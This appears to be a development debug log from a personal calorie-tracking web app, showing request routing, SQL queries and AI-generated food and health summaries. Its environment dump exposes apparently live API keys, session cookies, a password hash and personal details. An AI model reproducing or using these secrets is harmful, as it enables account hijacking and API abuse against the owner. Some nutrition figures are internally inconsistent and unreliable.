2025-12-18T18:03:28.298Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-18T18:03:28.343Z server-connect:output identity: 1
2025-12-18T18:03:28.343Z server-connect:app Executing action step restrict
2025-12-18T18:03:28.343Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T18:03:28.343Z server-connect:output restrict: undefined
2025-12-18T18:03:28.343Z server-connect:app Executing action step processWithGemini
2025-12-18T18:03:28.343Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T18:03:30.348Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whey Protein',
      quantity: '0.5 scoop (approx 15g, assuming standard 30g scoop)',
      calories_consumed: 55.5,
      total_calories: 55.5,
      protein: 12,
      carbs: 1.5,
      fat: 0.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development, high in protein, low in carbs and fat. Ideal for your goals.'
    }
  ],
  total_macros: {
    protein: { value: 12, unit: 'g' },
    carbs: { value: 1.5, unit: 'g' },
    fat: { value: 0.5, unit: 'g' }
  }
}
2025-12-18T18:03:43.179Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T18:03:43.180Z server-connect:app Executing action step identify
2025-12-18T18:03:43.180Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:43.180Z server-connect:output identity: 1
2025-12-18T18:03:43.180Z server-connect:app Executing action step restrict
2025-12-18T18:03:43.180Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T18:03:43.180Z server-connect:output restrict: undefined
2025-12-18T18:03:43.180Z server-connect:app Executing action step processWithGemini
2025-12-18T18:03:43.180Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T18:03:44.799Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Whey Protein',
      quantity: 'half scoop (14 gm)',
      calories_consumed: 56,
      total_calories: 56,
      protein: 11.2,
      carbs: 1.4,
      fat: 0.84,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
    }
  ],
  total_macros: {
    total_protein: 11.2,
    total_carbs: 1.4,
    total_fat: 0.84,
    unit: 'grams'
  }
}
2025-12-18T18:03:49.971Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T18:03:49.972Z server-connect:app Executing action step identify
2025-12-18T18:03:49.972Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:49.972Z server-connect:output identity: 1
2025-12-18T18:03:49.972Z server-connect:app Executing action step restrict
2025-12-18T18:03:49.972Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T18:03:49.973Z server-connect:output restrict: undefined
2025-12-18T18:03:49.973Z server-connect:app Executing action step condition
2025-12-18T18:03:49.973Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T18:03:49.973Z server-connect:app Executing action step repeat
2025-12-18T18:03:49.973Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T18:03:49.973Z server-connect:app Executing action step insert
2025-12-18T18:03:49.973Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T18:03:49.975Z server-connect:output calories: { affected: 1, identity: 446 }
2025-12-18T18:03:49.975Z server-connect:output repeat: [ {} ]
2025-12-18T18:03:49.975Z server-connect:output condition: undefined
2025-12-18T18:03:50.294Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T18:03:50.294Z server-connect:app Executing action step identify
2025-12-18T18:03:50.294Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:50.294Z server-connect:output identity: 1
2025-12-18T18:03:50.294Z server-connect:app Executing action step restrict
2025-12-18T18:03:50.294Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T18:03:50.295Z server-connect:output restrict: undefined
2025-12-18T18:03:50.295Z server-connect:router Render template layouts/main
2025-12-18T18:03:50.295Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/calorie-tracker'
}
2025-12-18T18:03:50.650Z server-connect:app Executing action step identify
2025-12-18T18:03:50.650Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:50.693Z server-connect:auth Login with cookie: { username: 'engineer.sanjay20@gmail.com', password: '5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e' }
2025-12-18T18:03:50.693Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2025-12-18T18:03:50.738Z server-connect:output identity: 1
2025-12-18T18:03:51.147Z server-connect:router Serving serverConnect /api/masters/get-items
2025-12-18T18:03:51.147Z server-connect:app Executing action step identify
2025-12-18T18:03:51.147Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:51.147Z server-connect:output identity: 1
2025-12-18T18:03:51.148Z server-connect:app Executing action step restrict
2025-12-18T18:03:51.148Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T18:03:51.148Z server-connect:output restrict: undefined
2025-12-18T18:03:51.148Z server-connect:app Executing action step select
2025-12-18T18:03:51.149Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2025-12-18T18:03:51.153Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T18:03:51.155Z server-connect:router Serving serverConnect /api/access-control/user-info
2025-12-18T18:03:51.155Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T18:03:51.156Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T18:03:51.156Z server-connect:app Executing action step identify
2025-12-18T18:03:51.156Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:51.156Z server-connect:output identity: 1
2025-12-18T18:03:51.156Z server-connect:app Executing action step restrict
2025-12-18T18:03:51.156Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T18:03:51.157Z server-connect:app Executing action step identify
2025-12-18T18:03:51.157Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:51.157Z server-connect:output identity: 1
2025-12-18T18:03:51.157Z server-connect:app Executing action step restrict
2025-12-18T18:03:51.157Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:51.157Z server-connect:output restrict: undefined
2025-12-18T18:03:51.157Z server-connect:app Executing action step single
2025-12-18T18:03:51.157Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T18:03:51.157Z server-connect:app Executing action step identify
2025-12-18T18:03:51.157Z server-connect:app options: { provider: 'security' }
2025-12-18T18:03:51.157Z server-connect:output identity: 1
2025-12-18T18:03:51.157Z server-connect:app Executing action step restrict
2025-12-18T18:03:51.157Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T18:03:51.157Z server-connect:output restrict: undefined
2025-12-18T18:03:51.157Z server-connect:app Executing action step single
2025-12-18T18:03:51.157Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-18T18:03:51.158Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "The day showed a good effort in incorporating protein sources, particularly with the whey protein and egg whites. Meal timing appears somewhat spread out, which can be beneficial for sustained energy. However, there's a notable reliance on carb-heavy dishes and a few instances of sweetened beverages, which could be optimized for fat loss and muscle development goals. Overall, a decent day with room for refinement.",
    bad_points: [
      'Several instances of milk tea, some with added sugar, which can contribute to excess intake.',
      'Aloo Matar Mix Snack is a calorie-dense item.',
      'Reliance on roti and rice as primary carbohydrate sources.',
      'Potential for higher fat intake from certain dishes.'
    ],
    good_points: [
      'Inclusion of whey protein post-workout.',
      'Addition of egg whites for protein intake.',
      'Consumption of vegetables like Baingan Sabji and Onion Kheera Salad.',
      'Incorporation of milk for hydration and nutrients.'
    ],
    suggestions: [
      'Prioritize unsweetened beverages throughout the day.',
      'Consider increasing the portion of protein-rich foods at meals.',
      'Incorporate more fiber-rich vegetables and whole grains.',
      'Ensure adequate hydration with plain water between meals.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'A slight downward trend is expected, with occasional plateaus.'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T18:03:51.159Z server-connect:output restrict: undefined
2025-12-18T18:03:51.159Z server-connect:app Executing action step single
2025-12-18T18:03:51.159Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T18:03:51.160Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T18:03:51.162Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T18:03:51.162Z server-connect:app Executing action step select
2025-12-18T18:03:51.162Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T18:03:51.163Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  },
  {
    id: 436,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Baingan Sabji',
    calories: 105,
    protein_gm: 2,
    carbs_gm: 13,
    fat_gm: 5,
    quantity: '1 serving (approx. 150g)',
    replacements: 'Steamed baingan (without oil),Baingan bharta (less oil),Other low-calorie vegetable preparations (e.g., palak sabzi, lauki sabzi)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but oil content can increase calories. For muscle development, focus on lean protein sources.'
  },
  {
    id: 437,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Roti',
    calories: 368,
    protein_gm: 4,
    carbs_gm: 23,
    fat_gm: 2,
    quantity: '3.5',
    replacements: 'Whole wheat roti (slightly more fiber),Jowar/Bajra roti (higher fiber, different nutrient profile),Brown rice (as an alternative carb source),Quinoa (higher protein carb source)',
    created_at: '2025-12-18T03:00:56.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates for energy. Quantity should be adjusted based on overall calorie and macro goals for muscle development.'
  },
  {
    id: 438,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 8,
    carbs_gm: 12,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Black tea,Green tea,Herbal tea,Tea with skim milk',
    created_at: '2025-12-18T05:44:50.000Z',
    skip_level: 1,
    skip_reason: "Good source of protein and calcium from milk, and antioxidants from tea. Without sugar, it's a healthy beverage choice for muscle development."
  },
  {
    id: 439,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea (without sugar)',
    calories: 70,
    protein_gm: 7,
    carbs_gm: 10,
    fat_gm: 2,
    quantity: '1 cup (approx 200ml)',
    replacements: 'Black tea (no milk),Green tea,Herbal tea,Skim milk tea',
    created_at: '2025-12-18T09:41:14.000Z',
    skip_level: 1,
